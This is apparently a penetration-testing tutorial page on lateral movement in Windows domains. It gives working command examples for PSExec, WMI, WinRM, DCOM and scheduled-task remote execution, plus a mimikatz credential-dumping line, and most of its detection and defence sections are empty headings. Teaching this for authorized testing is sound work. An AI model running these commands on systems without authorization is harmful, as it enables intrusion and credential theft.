Lateral Movement: Moving Through Network Environments
A comprehensive guide to lateral movement techniques in Windows networks including pass-the-hash, pass-the-ticket, PSExec, WMI, DCOM, and WinRM for authorized penetration testing.
The Anatomy of Network Propagation
Lateral movement is the attack technique of moving from one compromised system to another within a network. After initial access — typically through phishing, exploits, or credential theft — attackers navigate the network to reach high-value targets such as domain controllers, database servers, or sensitive file shares. Understanding the architecture of lateral movement is essential for designing effective network segmentation and detection controls.
Prerequisites
Core Lateral Movement Techniques
PSExec
PSExec executes processes on remote systems via SMB. It copies a service binary to the ADMIN$ share and starts a service on the target.
# Using Impacket
impacket-psexec corp.local/user:password@192.168.1.10
# Native PSExec
psexec \\target-server -u user -p password cmd.exe
WMI (Windows Management Instrumentation)
WMI executes processes without installing any agent. It uses DCOM (TCP 135) or WinRM.
impacket-wmiexec corp.local/user:password@192.168.1.10
# PowerShell
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName target-server
WinRM (Windows Remote Management)
WinRM provides PowerShell remoting on TCP 5985 (HTTP) and 5986 (HTTPS).
evil-winrm -i 192.168.1.10 -u admin -p Password123
# PowerShell
Enter-PSSession -ComputerName target-server
Invoke-Command -ComputerName target-server -ScriptBlock { Get-Service }
DCOM
DCOM executes code through COM objects like MMC20.Application.
$com = [Type]::GetTypeFromProgID("MMC20.Application", "target-server")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c whoami", "7")
Scheduled Tasks
impacket-atexec corp.local/user:password@192.168.1.10 cmd.exe /c whoami
Credential Gathering
Lateral movement requires credentials. Common sources:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
Detection
Monitor for:
Common Mistakes
Best Practices
Related Tools
Related Articles
Summary
Lateral movement techniques like PSExec, WMI, WinRM, DCOM, and scheduled tasks allow attackers to progress from initial compromise to their ultimate targets. Detection relies on monitoring access to remote management protocols, service creation, and unusual process execution patterns.
Related SMB Tool Recommendations
Knowledge Check
Frequently Asked Questions
Continue Learning
Active Directory Fundamentals: Windows Network Domains
A comprehensive introduction to Microsoft Active Directory covering domain services, LDAP, Group Policy, authentication protocols, and security fundamentals for Windows enterprise environments.
Active Directory · AdvancedGolden Ticket Attacks: Kerberos Ticket Forging Explained
Deep technical analysis of golden ticket attacks against Kerberos authentication, including how forged TGTs work, creation techniques, detection methods, and prevention strategies.
Active Directory · AdvancedPass-the-Hash: Understanding NTLM Authentication Attacks
An in-depth look at pass-the-hash attacks against NTLM authentication, how they work, real-world exploitation scenarios, detection techniques, and defense strategies.
Active Directory · AdvancedSilver Ticket Attacks: Service Ticket Manipulation
Complete technical guide to silver ticket attacks including forged service tickets, comparison with golden tickets, creation techniques, and defensive strategies for Active Directory.
Related Security Tools
CrackMapExec
CrackMapExec (CME) is a post-exploitation tool for pentesting Windows and Active Directory networks. It can enumerate users, spray passwords, execute commands, and move laterally.
Information GatheringSMBClient
Learn how to use SMBClient on Kali Linux: install Samba's FTP-like SMB/CIFS client, list shares, connect as a guest or with credentials, browse folders, and upload or download files on Windows, Samba, or NAS devices. For authorized assessments, check ports 139/445 with Nmap before testing share permissions.
Information GatheringEnum4linux
Learn how to use Enum4linux to enumerate Windows and Samba systems over SMB: install it on Kali Linux, run your first scan, read the users, shares, groups and password policy it returns, and switch to enum4linux-ng for modern hosts that block null sessions.
Sniffing & SpoofingResponder
Responder is an LLMNR, NBT-NS and MDNS poisoner. It responds to specific localized name resolution requests with rogue authentication challenges to harvest hashes and credentials.